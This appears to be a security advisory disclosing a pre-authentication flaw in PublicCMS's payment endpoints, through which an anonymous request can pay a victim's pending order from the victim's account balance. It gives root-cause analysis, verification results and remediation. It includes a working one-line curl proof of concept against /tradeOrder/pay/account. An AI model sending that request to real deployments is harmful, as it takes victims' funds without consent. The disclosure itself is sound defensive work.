PublicCMS Pre-Auth Business Logic Bypass Allows Anonymous Attackers to Force Victims to Pay Pending Orders with Their Account Balance
Project: PublicCMS
Repository: https://github.com/sanluan/PublicCMS
Vulnerability ID: VPLUS-2026-24639
Title: Pre-Authentication Business Logic Flaw in PublicCMS Allows Forced Payment of Victim Orders Using Their Internal Account Balance
Description: A critical business logic vulnerability exists in the PublicCMS trade payment flow. The issue affects the frontend order payment entrypoint /tradeOrder/pay/{accountType} and the payment execution endpoint /tradePayment/pay.
In TradeOrderController.pay(), the application accepts orderId and accountType but does not verify whether the requester is authenticated, nor whether the current user is the owner of the specified order. When accountType=account, the application directly creates a new internal balance payment record for the target order and sets payment.userId to the user who owns the order.
The request is then redirected to /tradePayment/pay?paymentId=....
In TradePaymentController.pay(), the application again fails to require authentication or verify that the current requester matches payment.userId. It directly invokes the corresponding payment gateway based on payment.accountType. For the account gateway, AccountGatewayComponent.pay() deducts funds directly from the internal account associated with payment.userId, then updates the payment and order statuses to paid.
As a result, an unauthenticated attacker can force any victim’s pending order to be paid using the victim’s internal account balance, without logging in as that victim and without possessing any valid session, token, or CSRF credential.
Affected Components:
TradeOrderController.pay()TradePaymentController.pay()AccountGatewayComponent.pay()
Affected Files:
publiccms-trade/src/main/java/com/publiccms/controller/web/trade/TradeOrderController.java- Related payment execution logic in the trade payment module
Primary Affected Function:
TradeOrderController.pay()- Line:
52
Technical Root Cause: The payment workflow lacks core business authorization checks:
- No authentication requirement on payment initiation
- No ownership validation between requester and target order
- No ownership validation between requester and target payment record
- Sensitive state-changing payment logic exposed via
GET - Internal balance deduction relies only on
payment.userId, not the identity of the caller
Attack Vector: An unauthenticated attacker can trigger the following request:
GET /tradeOrder/pay/account?orderId=<victim_order_id>&returnUrl=/
The server creates a balance payment record for the victim’s order, redirects to:
/tradePayment/pay?paymentId=<payment_id>&returnUrl=/
and then completes payment by deducting the victim’s internal balance.
Proof of Concept:
curl -i -sS -L 'http://<host>:8080/tradeOrder/pay/account?orderId=1&returnUrl=/'
Observed Result: The attack was successfully verified in the target environment. Before exploitation:
- Victim order status:
0(pending payment) - Victim balance:
100.00
After a completely anonymous request to /tradeOrder/pay/account?orderId=1&returnUrl=/:
- A new payment record was created:
paymentId=4 - Payment type:
account - Payment status:
1 - Order status changed to
2(paid) - Victim balance decreased from
100.00to75.32 - Account history showed a new debit of
-24.68
Example Verification Summary:
BEFORE_ORDER_STATUS=0BEFORE_BALANCE=100.00AFTER_ORDER_STATUS=2AFTER_PAYMENT_ACCOUNT_TYPE=accountAFTER_PAYMENT_STATUS=1AFTER_BALANCE=75.32AFTER_DEBIT=-24.68
Impact: This vulnerability allows unauthenticated attackers to trigger real financial operations against victims’ internal account balances. Attackers can force pending orders to be paid without victim consent, causing unauthorized fund deduction and order status changes. This is a high-risk business logic flaw with direct financial impact.
Severity: High
CVSS: 8.6
Remediation Recommendations:
- Require authentication for both
/tradeOrder/pay/{accountType}and/tradePayment/pay. - Enforce strict server-side authorization:
currentUser.idmust equal bothorder.userIdandpayment.userId. - Do not allow state-changing payment operations over
GET; change them toPOST. - Require and validate CSRF tokens for all payment initiation and execution requests.
- In
TradeOrderController.pay(), validate order ownership and order state before creating a payment record. - In
TradePaymentController.pay(), re-check ownership to prevent bypass by directly accessingpaymentId. - In
AccountGatewayComponent.pay(), ensure the caller is authorized to spend the referenced account balance instead of trusting onlypayment.userId. - Audit other financial endpoints such as payment cancellation and refund-related flows for similar missing ownership and authentication checks.